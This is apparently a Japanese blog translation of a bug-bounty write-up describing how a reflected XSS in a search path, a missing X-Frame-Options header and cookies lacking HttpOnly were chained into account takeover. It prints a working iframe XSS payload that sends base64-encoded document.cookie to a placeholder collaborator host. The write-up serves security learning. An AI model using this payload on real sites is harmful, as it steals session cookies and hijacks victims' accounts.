Shikata Ga Nai

Private? There is no such things.

Chain of Low Level Bugs and Misconfigurations Leads to Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

低レベルのバグと設定ミスの連鎖がアカウントの乗っ取りにつながるを。

 

脆弱性:

 反映されたXSS

 クリックジャッキング

 アカウントの乗っ取り

 

記事:

 https://infosecwriteups.com/chain-of-low-level-bugs-and-misconfigurations-leads-to-account-takeover-de248fc4e481

 

このWebサイトを「redacted.com」と仮定して。

ステップ1—反映されたXSS

ターゲットのサブドメインをナビゲートして。

アプリケーションを深く理解する前に興味深い機能を探していると。

ブログの投稿をタイトルで検索できるページに出くわして。

それは古典的な検索ボックスで。

検索ボックスにテキストを入力すると。

下記のようにパスとしてURLに反映されるようで。

 sub.redacted.com/search/ {TEXT_HERE}

 

いくつかのXSSペイロードを挿入するとサニタイズされて。

WAFの兆候はなく、カスタムバイパスシステムのようで。

サニタイズを回避しようと試行錯誤を繰り返した結果。

「<」を「&lt;」に置き換えたところペイロードが正常に起動されて。


f:id:ThisIsOne:20210730150313p:plain

 

ステップ2—クリックジャッキング

リンクをクリックするとペイロードが起動することを期待していたものの。

起動せずに検索テキストは、入力した場所にあったので。

被害者は、手動で「検索」ボタンをクリックしてペイロードを起動する必要があって。

Burp Suiteのログを調べるとCSRF保護メカニズムが導入されているようで。

さらにログを調査していると「X-Frame-Options」が欠落しているのに気づいて。

これは、サブドメインがクリックジャッキングに対して脆弱であることを意味して。

つまり、iframeを使用して任意のサイトに埋め込むことができて。

 

ステップ3—影響力を高めてATOを実行

ここまでは良かったのですが、インパクトは十分ではなくて。

影響を高める方法を考えていると。

CookieにHttpOnlyフラグがないことに気付いて。

これは、JavaScriptを使用してCookieに到達できることを意味するので。

被害者のCookieをURLの末尾にクエリパラメータとして追加することに。

 

<!DOCTYPE html>
<html>
<iframe src=https://sub.redacted.com/search/&lt;%20img%20src=x%20onerror=location.href=%22https:%26sol;%26sol;{COLLABORATOR_URL}%26sol;%26quest;q=%22+btoa(document.cookie);%26gt;>
</iframe>
</html>

 

 

上記のURLのデコードされたバージョン:
https://sub.redacted.com/search/<img src=x onerror=location.href=”{COLLABORATOR_URL}/?q="+btoa(document.cookie);>

 

デコードしてみると一部記事とは異なっているようで。

f:id:ThisIsOne:20210730151040p:plain

 

ただし、このステップには入念な仕上げが必要で。

JavaScriptのbtoa()は、base64で文字列をエンコードするメソッドで。

なぜこれが必要だったかというと。

Cookie内の一部の文字がフィルタリングされていたため。

すべてのCookieを表示できないことに気付いて。

このように、サーバのログを確認すると。

base64でエンコードされた形式ですべてのCookieを取得できて。


実行方法:

クリックジャッキング攻撃の実行方法については詳しく説明しませんが。

ユーザにボタンをクリックさせるのは簡単なことで。

被害者がボタンをクリックすると、base64値が得られて。

値をデコードしてCookieに置き換えるだけで、作業は完了して。


要点:

反映されたXSSを見つけることができたら。

他のバグと連鎖させて重大度を上げてみることで。

(例:CSRF、キャッシュポイズニングなど)

低レベルのバグや設定ミスは、それ自体ではほとんど価値がない場合でも。

影響を増大させる上で重要な役割を果たす可能性があって。

 

Best regards, (^^ゞ